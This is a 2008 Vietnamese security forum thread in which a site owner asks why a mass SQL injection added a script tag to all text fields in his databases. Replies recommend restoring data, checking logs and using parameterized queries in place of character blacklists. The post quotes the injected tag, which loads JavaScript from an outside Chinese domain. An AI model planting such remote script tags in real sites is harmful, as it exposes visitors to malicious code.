banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Forum Index Thảo luận hệ điều hành Windows bị chèn 1 đoạn javascript vào dữ của tất cả các table in database  XML
  [Question]   bị chèn 1 đoạn javascript vào dữ của tất cả các table in database 12/06/2008 00:56:37 (+0700) | #1 | 135065
[Avatar]
thuypv
Member

[Minus]    0    [Plus]
Joined: 11/06/2008 12:25:57
Messages: 64
Offline
[Profile] [PM]
các bạn cho tôi hỏi 1 chút, trang web của tôi thuê host của PAVietNam, hiện mới đây web site của tôi bị hack, bị thêm 1 đoạn mã javascript có nội dung là <script src=http://www.fengnima.cn/k.js></script> vào tất cả các bản ghi của tất cả các bảng dữ liệu mà có trường dữ liệu kiểu nvarchar, ntext, varchar, ... khi lập trình mọi đầu vào tôi đều rất cẩn thận bắt sqlinject tion như loại trừ các kỹ tự "'","[", "--", hiện tại thì tôi cũng ko biết nguyên nhân dẫn đến tình trạng trên là do đâu, vì 1 vài website của tôi bị liên tục hết cái này bị khắc phục song lại cái khác mà cùng đặt trên 1 server, rất mong có bạn nào biết thì chỉ cho tôi biết, tôi cám ơn các bạn rất nhiều
[Up] [Print Copy]
  [Question]   Re: bị chèn 1 đoạn javascript vào dữ của tất cả các table in database 12/06/2008 02:58:50 (+0700) | #2 | 135079
lamer
Elite Member

[Minus]    0    [Plus]
Joined: 26/02/2008 13:28:49
Messages: 215
Offline
[Profile] [PM]
Đây đúng là do SQL Injection và nó lan trên diện rộng. Mình đã thông báo lỗi này cho một vài tổ chức (đặc biệt là cơ quan nhà nước) mà mình phát hiện.

Bạn nên:

1. Hạ server xuống nếu lưu lượng và tầm quan trọng của server đó là thấp.

2. Phục hồi dữ liệu.

3. Xem nhật ký truy cập để phát hiện thêm thông tin.

4. Nhờ một công ty chuyên nghiệp kiểm tra lại mã nguồn của bạn.

5. Đưa server lên mạng lại và tập trung theo dõi trong khoảng 2 tuần vì khoảng 3, 4 ngày sau là sẽ có đợt tấn công khác theo như kinh nghiệm mình đã thấy.

6. Khi có tấn công mới này, bạn cần phản ứng ngay lập tức để vá tiếp các lỗi bị tận dụng.

<quảng cáo>
Nếu bạn cảm thấy cần thì công ty mình sẽ giúp bạn. Xin nhắn tin riêng và cho số điện thoại liên lạc qua diễn đàn để mình gọi lại cho bạn.
</quảng cáo>
[Up] [Print Copy]
  [Question]   Re: bị chèn 1 đoạn javascript vào dữ của tất cả các table in database 12/06/2008 03:13:49 (+0700) | #3 | 135084
[Avatar]
thuypv
Member

[Minus]    0    [Plus]
Joined: 11/06/2008 12:25:57
Messages: 64
Offline
[Profile] [PM]
vâng mình rất cám ơn ban lamer, mình sẽ kiểm tra lại, mong các bạn có ý kiến gì khác nữa để mình tham khảo và có thêm kinh nghiệm vá các lỗ hổng, các bạn có thể cho mình biết là nếu là sqlinjection thì mình đã loại trừ tất cả các ký tự đặc biệt rồi sao mà họ vẫn dùng được, mình tham khảo rất nhiều trang nói về cách khắc phục sqlinjection, các bạn có thể cho mình biết các ký tự đặc biết nữa được ko? hiện tại bất kỳ biến gì mình thu được mình đều qua xử lý trước khi cho vao câu lệnh sql, có phải lỗi này do server ko các bạn hoặc có 1 đồng chí virut nào đó trên server, và cho mình hỏi thêm 1 chút, khoảng 1 tháng trước trang của mình cũng bị chèn thêm 1 đoạn mã javascript vào tất cả các trang có tên là index, default, home, bất kỳ trang nào có tên như thế thì đều bị thêm 1 đoạn javascript vào cuối cùng của trang cho mình hỏi đó có phải là cách tấn công XSS ko ạ, mình cám ơn các bạn rất nhiều
[Up] [Print Copy]
  [Question]   Re: bị chèn 1 đoạn javascript vào dữ của tất cả các table in database 12/06/2008 03:59:24 (+0700) | #4 | 135096
lamer
Elite Member

[Minus]    0    [Plus]
Joined: 26/02/2008 13:28:49
Messages: 215
Offline
[Profile] [PM]
Lỗ hổng bảo mật và cách tận dụng lỗ hổng rất phụ thuộc vào hoàn cảnh. Theo như bạn nói thì bạn đã chặn đa số các ký tự phổ biến nhưng còn ký tự " ' " (dấu nháy đơn) thì sao? Và cách "xử lý" các ký tự này của bạn là như thế nào? Rất phụ thuộc vào hoàn cảnh, cho nên không có check list cụ thể để bạn kiểm tra.

Cách tốt nhất để chặn SQL Injection không phải là dùng "black list" như bạn đã làm. Phụ thuộc vào khung phát triển ứng dụng mà ta có những cách "chuẩn" hơn. Ví dụ như với PHP bạn có thể dùng mysqli_stmt_bind_param().

Lỗi thứ hai bạn nói tới chắc khó có câu trả lời chính xác. Hy vọng bạn khác sẽ trả lời được giúp bạn.
[Up] [Print Copy]
  [Question]   bị chèn 1 đoạn javascript vào dữ của tất cả các table in database 12/06/2008 04:31:22 (+0700) | #5 | 135107
[Avatar]
gamma95
Researcher

Joined: 20/05/2003 07:15:41
Messages: 1377
Location: aaa&quot;&gt;
Offline
[Profile] [PM] [ICQ]

thuypv wrote:
các bạn cho tôi hỏi 1 chút, trang web của tôi thuê host của PAVietNam, hiện mới đây web site của tôi bị hack, bị thêm 1 đoạn mã javascript có nội dung là <script src=http://www.fengnima.cn/k.js></script> vào tất cả các bản ghi của tất cả các bảng dữ liệu mà có trường dữ liệu kiểu nvarchar, ntext, varchar, ... khi lập trình mọi đầu vào tôi đều rất cẩn thận bắt sqlinject tion như loại trừ các kỹ tự "'","[", "--", hiện tại thì tôi cũng ko biết nguyên nhân dẫn đến tình trạng trên là do đâu, vì 1 vài website của tôi bị liên tục hết cái này bị khắc phục song lại cái khác mà cùng đặt trên 1 server, rất mong có bạn nào biết thì chỉ cho tôi biết, tôi cám ơn các bạn rất nhiều 

@thuypv: Bạn thử suy nghĩ xem bằng cách nào mà tụi hacker/ worms/ ...blah blah nó chèn vào trong database của bạn đoạn script kia ??? Chắc chắn nó phải sử dụng ; update, insert, alter ... rồi phải ko? Lúc đó bạn lọc dấu nháy đơn ', ], -- thì có ý nghĩa gì ? Có rất nhiều cách để exploit SQL injection mà ko dùng đến dấu nháy đơn kia mà? Lọc dấu nháy đơn chỉ tránh được hạn chế trong một số trường hợp như bypass mấy cái form login chẳng hạn smilie
PS: google với keyword "Massive SQL Injection" để bit thêm một số thông tin cần thiết
Cánh chym không mỏi
lol
[Up] [Print Copy]
  [Question]   Re: bị chèn 1 đoạn javascript vào dữ của tất cả các table in database 12/06/2008 04:37:17 (+0700) | #6 | 135109
[Avatar]
thuypv
Member

[Minus]    0    [Plus]
Joined: 11/06/2008 12:25:57
Messages: 64
Offline
[Profile] [PM]
ok, mình cám ơn các bạn đã quan tâm tới câu hỏi của mình và góp ý kiến cho mình nha, mình sẽ cố gắng khắc phục sự cố, các bạn có ý kiến gì thì cho mình biết thêm nha, cám ơn các bạn rất nhiều
[Up] [Print Copy]
  [Question]   Re: bị chèn 1 đoạn javascript vào dữ của tất cả các table in database 12/06/2008 06:54:35 (+0700) | #7 | 135133
FaL
Moderator

Joined: 14/04/2006 09:31:18
Messages: 1232
Offline
[Profile] [PM]
Lamer có nhắc tới Black list rất thú vị.
Thông thường người ta lo nghĩ về những cái chưa biết mà không dám tin chắc vào những cái đã biết. Cái chưa biết ở đây có thể hiểu là "black list". thuypv không rõ tất cả những ký tự nguy hiểm và lo lắng tìm đủ thông tin để ngăn chặn nó. Cái đã biết ở đây có thể hiểu là những ký tự chắc chắn không bị dính SQL inj,... hay còn gọi là "white list". Duyệt theo black list và white list xét cho cùng là 2 cách nhìn nhận từ 2 hướng về cùng một vấn đề.

PS: Thấy thuypv bảo lọc hết rồi mà ở topic kia lại request tool scan SQL injection?
Hãy giữ một trái tim nóng và một cái đầu lạnh
[Up] [Print Copy]
  [Question]   Re: bị chèn 1 đoạn javascript vào dữ của tất cả các table in database 12/06/2008 07:04:00 (+0700) | #8 | 135137
[Avatar]
thuypv
Member

[Minus]    0    [Plus]
Joined: 11/06/2008 12:25:57
Messages: 64
Offline
[Profile] [PM]
hic hic, em reply topic bên tool sqlinjection vì em chưa biết hết các cách có thể tấn công bằng sqlinjection nên tìm trong forum xem có cái nào nói đến ko để học hỏi thêm, vì những cái mình chưa biết còn rất nhiều "kiểu như backlist" ấy mà, mong các bác chỉ giáo thêm hiện tại website của em đành dùng cách restore database để cho nó chạy ngon lành cái đã, thank các bác rất nhiều
[Up] [Print Copy]
[digg] [delicious] [google] [yahoo] [technorati] [reddit] [stumbleupon]
Go to: 
 Users currently in here 
1 Anonymous

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|